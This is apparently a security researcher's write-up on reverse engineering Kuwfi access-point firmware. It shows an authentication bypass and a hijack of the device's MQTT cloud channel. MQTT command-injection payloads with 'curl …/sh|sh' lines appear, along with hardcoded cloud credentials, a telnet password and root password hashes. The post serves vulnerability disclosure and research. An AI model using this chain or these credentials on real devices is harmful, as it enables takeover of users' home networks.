Finding RCE in access points by leveraging MQTT
Introduction
I was searching for a product like a home router or an access point (AP) that has not been audited yet. My goals were to evaluate and improve my own tooling for vulnerability research on firmware and find and exploit bugs.
My scope was the administration web server and I discarded devices that had not the entire web server coded in C. So no Lua plugins, ASP or PHP servers. I discarded devices that have no firmware provided or had their firmware ciphered.
Finally I found this brand: Kuwfi. Their products are availables on Amazon and the firmware is available here.
Grab the firmware and extract binaries
A firmware is available on this page:
I said ‘A’ firmware because its the same for the three products (AX820, 5G03 and 2F01) but its actually the firmware for 2F01… I did not notice that at first but I’ve already bought it. Anyway let’s extract the archive and find that web server binary.
Using carving with can extract the firmware :
1
2
3
4
5
6
➜ work binwalk -e KuWFI-2F01-2F01-CPE-V2.0-Build20240120143454-EN.ubin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
48 0x30 uImage header, header size: 64 bytes, header CRC: 0xD13583A6, created: 2024-01-20 06:41:59, image size: 5243221 bytes, Data Address: 0x80000000, Entry Point: 0x803CA460, data CRC: 0xD9544DD9, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
112 0x70 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 8556248 bytes
Then extract data at offset 0x70:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
➜ _KuWFI-2F01-2F01-CPE-V2.0-Build20240120143454-EN.ubin.extracted binwalk -e 70
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
1287262 0x13A45E PGP RSA encrypted session key - keyid: 801000 2052480 RSA Encrypt-Only 1024b
4014184 0x3D4068 Linux kernel version 3.10.1
4030248 0x3D7F28 gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)
4097268 0x3E84F4 SHA256 hash constants, little endian
4098284 0x3E88EC AES S-Box
4099084 0x3E8C0C AES Inverse S-Box
4234940 0x409EBC xz compressed data
4248944 0x40D570 Unix path: /lib/firmware/updates/3.10.14+
4385252 0x42E9E4 Unix path: /etc/Wireless/RT2860/RT2860.dat
4430416 0x439A50 XML document, version: "1.0"
4450872 0x43EA38 Unix path: /var/run/udhcpc.pid
4478582 0x445676 Neighborly text, "neighbor %.2x%.2x.%pM lost rename link %s to %s"
4605440 0x464600 CRC32 polynomial table, little endian
4681536 0x476F40 CRC32 polynomial table, little endian
4684736 0x477BC0 AES S-Box
5024212 0x4CA9D4 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: -1 bytes
Finally firmware is at offset 0x4CA9D4, its a cpio archive, just extract it in an empty directory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
➜ _70.extracted cd fs
➜ fs cpio -idv < ../4CA9D4
home
sbin
sbin/poweroff
sbin/config-pptp.sh
sbin/makedevlinks.sh
sbin/udhcpc
sbin/config-l2tp.sh
sbin/cpubusy.sh
sbin/nat.sh
sbin/ntp.sh
sbin/wan.sh
sbin/gtd.sh
sbin/chpasswd.sh
sbin/checking_nvram.sh
sbin/affinity.sh
sbin/ifconfig
sbin/lsmod
sbin/internet.sh
sbin/run_top.sh
sbin/autoconn3G.sh
sbin/route
...
The init binary is a busybox symlink. According to the file /etc_ro/rcS we know that there is a lighthttpd server in this firmware. The configuration file /etc_ro/lighttpd/lighttpd.conf teaches that the server is using mod_cgi: It contains all the endpoints and the binary that process it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#### CGI module
cgi.assign = ( ".pl" => "/usr/bin/perl",
".cgi" => "",
"cgi-bin/login" => "/www/cgi-bin/login",
"cgi-bin/showhtml" => "/www/cgi-bin/showhtml",
"cgi-bin/sys_mamage" => "/www/cgi-bin/sys_mamage",
"cgi-bin/program_dict" => "/www/cgi-bin/program_dict",
"cgi-bin/wireless" => "/www/cgi-bin/wireless",
"cgi-bin/cloud" => "/www/cgi-bin/cloud",
"cgi-bin/wan" => "/www/cgi-bin/wan",
"cgi-bin/sys_dev" => "/www/cgi-bin/sys_dev",
"cgi-bin/setupwizard" => "/www/cgi-bin/setupwizard",
"cgi-bin/lan" => "/www/cgi-bin/lan",
"cgi-bin/clients" => "/www/cgi-bin/clients",
"cgi-bin/devmanage" => "/www/cgi-bin/devmanage",
"cgi-bin/producttest" => "/www/cgi-bin/producttest",
"cgi-bin/ac_service" => "/www/cgi-bin/ac_service",
"cgi-bin/firewall" => "/www/cgi-bin/firewall",
"cgi-bin/dev_info" => "/www/cgi-bin/dev_info",
"cgi-bin/dev_basic" => "/www/cgi-bin/dev_basic",
"cgi-bin/dev_client" => "/www/cgi-bin/dev_client",
"cgi-bin/dev_wan" => "/www/cgi-bin/dev_wan",
"cgi-bin/dev_lan" => "/www/cgi-bin/dev_lan",
"cgi-bin/dev_wireless" => "/www/cgi-bin/dev_wireless",
"cgi-bin/dev_wizard" => "/www/cgi-bin/dev_wizard",
"cgi-bin/dev_reboot" => "/www/cgi-bin/dev_reboot",
"cgi-bin/dev_pwd" => "/www/cgi-bin/dev_pwd",
"cgi-bin/dev_cloud" => "/www/cgi-bin/dev_cloud",
"cgi-bin/dev_login" => "/www/cgi-bin/dev_login",
"cgi-bin/dev_dict" => "/www/cgi-bin/dev_dict",
"cgi-bin/dev_ap_relay" => "/www/cgi-bin/dev_ap_relay",
"cgi-bin/dev_cpe_repeater" => "/www/cgi-bin/dev_cpe_repeater",
"cgi-bin/dev_cpe_manager" => "/www/cgi-bin/dev_cpe_manager",
".sh" => "")
In fact all of those files are symlink to /www/cgi-bin/parentcgi:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
➜ _70.extracted ls -lha www/cgi-bin/
total 180K
drwxr-xr-x 2 ubuntu ubuntu 4,0K mai 6 14:52 .
drwxr-xr-x 6 ubuntu ubuntu 4,0K mai 6 14:52 ..
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 ac_service -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 clients -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 cloud -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 dev_ap_relay -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 dev_basic -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 dev_client -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 dev_cloud -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 dev_cpe_manager -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 dev_cpe_repeater -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 dev_dict -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 dev_info -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 dev_lan -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 dev_login -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 devmanage -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 dev_pwd -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 dev_reboot -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 dev_wan -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 dev_wireless -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 dev_wizard -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 firewall -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 lan -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 login -> parentcgi
-rwxr-xr-x 1 ubuntu ubuntu 172K mai 6 14:52 parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 producttest -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 program_dict -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 setupwizard -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 showhtml -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 sys_dev -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 sys_mamage -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 wan -> parentcgi
lrwxrwxrwx 1 ubuntu ubuntu 9 mai 6 14:52 wireless -> parentcgi
Thus parentcgi becomes our main target.
Reversing parentcgi
I’m looking for the place where those endpoints are registered, something like handlers that are linked with their route. (eg: register(“/login”, login_handler)) I’m also wondering how they share HTTP parameters between server and parentcgi binary because this will be our inputs.
Searching for endpoints handlers
main
function shows that the name of the binary is compared to the value of a string and a corresponding handler is called:
Endpoints’ strings and their corresponding handler are in data section. Note that Ghidra did not automatically create function for most of them.
Only the first handler is recognized by Ghidra as a function, others aren’t:
A handler that is not identified as a function by Ghidra
So I had to create a script to create functions and rename those functions after the name of the endpoints:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from ghidra.program.model.listing import Function
from ghidra.program.model.symbol import SourceType
def bytes_to_string(data) -> str:
chars = [chr(b) for b in data if b != 0]
return "".join(chars)
def rename_vulnerable_sources() -> list[str]:
# see main
func_ptr_addr, func_ptr_off, str_addr, str_off = 0x438884, 0x38, 0x438850, 0x38
endpoints: list[str] = []
for i in range(0x1e):
# get the endpoint name
endpoint = bytes_to_string(getBytes(toAddr(str_addr + i * str_off), 30)) # never exceed 30
endpoints.append(endpoint)
print(f"[+] Endpoint: {endpoint}")
# get the function pointer
func_addr = getInt(toAddr(func_ptr_addr + i * func_ptr_off))
print(f"[+] Renaming function at: {func_addr:x}")
fun: Function = getFunctionAt(toAddr(func_addr))
# create function if it does not already exist else just rename it
if not fun:
fun = createFunction(toAddr(func_addr), endpoint)
if not fun:
print(f"[-] Could not create function {endpoint}@{func_addr:x}")
return []
else:
fun.setName(endpoint, SourceType.USER_DEFINED)
# disassemble else you while have to do it manually
disassemble(toAddr(func_addr))
return endpoints
def main():
sources = rename_vulnerable_sources()
print(sources)
if __name__ == "__main__":
main()
Note that i’m using the plugin Ghidrathon to use Python3 for Ghidra.
Here is the result (Ghidra symbol table):
Ghidra symbol table with all our renamed functions, user defined
All handlers are clearly identified and disassembled.
User inputs
All inputs comes from functions like getenv
, getprop
, get_token
, get_content_from_querystring
.
getenv
is used to retrieve the value of the environnement variables REMOTE_ADDR, HTTP_AUTHORIZATION and REQUEST_METHOD. It is used to extract the HTTP query parameters from the other functions.getprop
is used to retrieve requests parameters such as stork, opcode and funame. stork is the authentication token, opcode and funame are unsiged integers that are used by handlers to choose what to do. I show example of request after this paragraph. It hides a call togetenv("QUERY_STRING")
.get_token
is used to extract the token (stork). I suppose the programmers expected to use others tokens but here it is used only with thestork=
parameter. It extract the token from a call togetenv("HTTP_COOKIE")
and if it does not workgetenv("QUERY_STRING")
.get_content_from_querystring
is similar to getprop. In fact the query string comes from a call togetenv("QUERY_STRING")
.
The curl command below shows how to get information from the AP using the endpoint /sys_dev. funname must be 9 and action must be 2.
1
2
➜ ~ curl -X POST http://192.168.188.253/cgi-bin/sys_dev -d 'funname=9&action=2'
{"PRODUCTNAME":"AX820","CHIPTYPE":"MTK7915","LANG":"en","FIRMVERSION":"AX820-AP-V3.0-Build20231012104019","HWVERSION":"V1.2","SN":"","SWVERSION":"V1.0","OPMODE":"3","PSMODE":"255","NAME":"","IS_FIRST":"1","FIT_TO_FAT":"0","TESTMODE":"0","CHECK_MAC":"1"}
Note that each endpoint handler is responsible for its authentication.
Discovering broken authentication
When I received the AP I confirm my analysis even though the firmware is for 2F01 (CPE) and not AX820. I also saw that there is a default telnet access on port 23. I tried the credentials found in the firmware in /etc_ro/rcS: admin:476t*_f0%g09y
. It didn’t work for AX820.
Using burp I went through the whole UI. Turns out that /login
endpoints grant a token (stork) when user provides good credentials through username and password HTTP parameters.
It turns out that when you skip both parameters, you also get a valid authentication token as you can see below:
Normal use providing credentials admin:love:
Authentication with credentials, getting a token
Authenticate without providing any credentials (removing parameters username and password):
Authentication without credentials, getting a token
The reason for that is an unecessary call to generate_token2save
in the login handler:
Useless call to generate_token2save
Searching for RCE in the binary
I searched for vulnerable calls in the binary but the behaviour I had was not consistent with my expectation. May be due to the difference in the firmware. So I needed an shell on the device.
At this point I decicded to search a way to gain code execution on the AP. I can not use telnet as I don’t have the credentials of my AX820. So I decided to use my physical access using UART and a USB adapter (ft232):
Connecting UART to computer using adapter
I can access logs and even get a prompt to authenticate:
Can see logs but cannot authenticate
But again I don’t have credentials to authenticate. If I press a key quickly during boot (before the kernel image is loaded), I get a mtkautoboot shell but I don’t manage to take advantage of it and I did not investigated it further:
So, I cannot authenticate and AX820 is using mtkautoboot so I can’t just change the kernel command line to bypass login. I decide to come back here if I don’t find anything else.
Finally I notice that I could update the cloud server as I wanted. At first I completely ignored that because I thought it could be complicated to behave as a cloud server. Turns out it was not.
Cloud server
The endpoint cloud
allows to update the cloud server with not limitation. By default cloud server is not enabled and the default server is:
The file /etc_ro/defconfig/def_misc.conf contains credentials to authenticate to this server.
1
2
3
4
5
6
7
8
9
...
sys_cloud.server="iot.yowifi.net"
...
sys_cloud.user_name="yuncorelot"
sys_cloud.user_pwd="eufhja*@2756_hja"
sys_cloud.appid="325986ac102df6261ca5fbfbc2aa3458"
sys_cloud.appsecret="fbcb84MxLNDndnWCWZ08TXIj9ePbBp8lHVp9rBXy"
sys_cloud.productid="prtxaejlnqrtdezxbyampdmrw"
...
There is a binary that handle the cloud interactions: /bin/cloud-client
.
At first, I changed the binary cloud server to my address and I started a netcat listener. Here is what I got:
1
2
3
4
5
6
7
8
9
10
➜ ~ nc -lvp 8000
Listening on 0.0.0.0 8000
Connection received on 192.168.188.253 35996
POST /cloudnetlot/backend/getclient HTTP/1.1
Host: 192.168.188.182:8000
Accept: */*
Content-Type:application/json
Content-Length: 173
{"appid":"325986ac102df6261ca5fbfbc2aa3458","secret":"fbcb84MxLNDndnWCWZ08TXIj9ePbBp8lHVp9rBXy","prtid":"prtdaxkypywtbwvarlgepmqvr","mac":"7C:27:3C:00:94:45","type":"AX820"}
If I forward this request to
1
2
➜ ~ curl https://iot.yowifi.net/cloudnetlot/backend/getclient -H "Content-Type: application/json" -d '{"appid":"325986ac102df6261ca5fbfbc2aa3458","secret":"fbcb84MxLNDndnWCWZ08TXIj9ePbBp8lHVp9rBXy","prtid":"prtdaxkypywtbwvarlgepmqvr","mac":"7C:27:3C:00:94:45","type":"AX820"}'
{"status":10000,"data":{"protocol":"v1.0","prtid":"prtdaxkypywtbwvarlgepmqvr","cltid":"cltdwdrsru9x44eo6gmrebvp8ldkkn","server_protocol":"mqtt","server":"1.85.2.93","port":"9096","encode":{"type":"1"},"now":"1715545532"},"errorCode":[]}%
The field server seems to be some identifier or version but it is used by the cloud-client binary as a MQTT server.
So all we have to do get a MQTT request is to create a web server that respond the previous JSON but with our IP in the field server and our port in the field port.
Cloud-client binary
MQTT a protocol that allows a broker (or MQTT server) to create topics. A topic is a path-like resource such as /aaa/bbb/ccc
. A broker can do access control over those resources.
Once authenticated, a MQTT client can publish data to the topic (write) and suscribe data from the topic (read).
User (AX820) authenticate using credentials yuncorelot:eufhja*@2756_hja
.
Topics and data read from topics is what matters. The AP may be administrated remotely leading to RCE.
Topics names can be extracted from the first function executed in the loop in the main function. In fact this function handles all the HTTP exchanged with the cloud server described above. Topics are defined using prtid and cltid according to this function:
So In our case prtid is prtdaxkypywtbwvarlgepmqvr and cltid is defined by the server so we can use any string. If I choose cltid=somecltid then our topics are:
/cltdwdrsru9x44eo6gmrebvp8ldkkn/somecltid/dev2app
: AP publishes data./cltdwdrsru9x44eo6gmrebvp8ldkkn/somecltid/app2dev
: AP receives command./cltdwdrsru9x44eo6gmrebvp8ldkkn/somecltid/auth
: ?
Then what data are processed by the AP? When a client suscribe to a topic, it has to provide a callback that is executed every time a message is received using mosquitto_message_callback_set
. That’s our target:
The disassembled code is very huge (2100 lines of conditional statements) nonetheless JSON functions and log statements are easy to follow and make it easy to guess what data are expected (JSON data by the way). For example:
Lines from cloud message callback
Those lines means that the binary expects a command
key that contains a object with a type
key:
{"command":
{
"type": "..."
...
}
}
Now It is time to find RCE. There is obvious code execution within the message callback:
Vulnerable call to do_system in message callback
To reach those statements and execute any command, all I need to do is send this JSON payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"now": "1715718611",
"body": {
"command": {
"type": "set",
"auth": [
{
"radioid": "",
"status": "0",
"clientmac": ";curl 192.168.188.182:8080/sh|sh;"
}
]
}
}
}
Note that this ends up in the “if” statement.
There is a similar vulnerability in the upgrade command:
Code injection in upgrade command
Here is the payload:
1
2
3
4
5
6
7
8
9
10
11
12
{
"now": "1714350566",
"body": {
"command": {
"type": "upgrade",
"url": ";curl 192.168.188.182:8080/sh|sh;",
"signature": "abcd",
"wait": "1",
"orderid": "abcd"
}
}
}
So the process to obtain code execution on the AP is the following:
- Start webserver and MQTT broker locally.
- Update cloud server using a token obtained exploiting the broken authentication.
- Provide our MQTT server during the exchange with our fake cloud server.
- At this point the access point is authenticated to our MQTT server. Use another MQTT client (or the same account) to publish payloads and execute commands.
Demonstration
All the code is on my Github repository.
Getting a reverse shell using ‘set’ command
Here we receive a shell after performing all the steps described in README.md. The RCE used here is the command injection in the “set” command.
By the way, the password is no longer in clear text on AX820 but in a hashed form. I quickly tried to break it using rockyou.txt and john but nothing matched. Anyway I don’t need it anymore. Here it is if you want to crack it:
In /etc/:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/ # cat etc/passwd
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
mosquitto:x:200:200:mosquitto:/var/run/mosquitto:/bin/false
http:x:100:100:http:/var/run/http:/bin/false
/ # cat etc/shadow
root:$1$7Kq3p1CM$ZdhylUeqRd1vcvNEQqzpK/:19863:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
mosquitto:x:0:0:99999:7:::
http:x:0:0:99999:7:::
In /rom/etc/:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
/ # cat ./rom/etc/passwd
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
mosquitto:x:200:200:mosquitto:/var/run/mosquitto:/bin/false
/ # cat ./rom/etc/shadow
root:$1$oUWwRa3Y$tRlUvBRoRL17Ryhf92emi1:18418:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
mosquitto:x:0:0:99999:7:::
Final thoughts
That’s intriguing to see MQTT used for remote administration in such devices. I thought it would be employed to gather statistics but not for sensitive commands like upgrade. The web server was difficult to exploit directly has I gained no access to the filesystem of the product but the fact that it allows to update the cloud server URL moves the research on another binary that is less dense, easier to “map” (as we have to look exclusively for MQTT related functions) and less secure. There are definitely many other bugs on the device, but I decided to stop there. At the time of publishing I reported the vulnerabilities more than three weeks ago to Kuwfi and Yuncore, no response.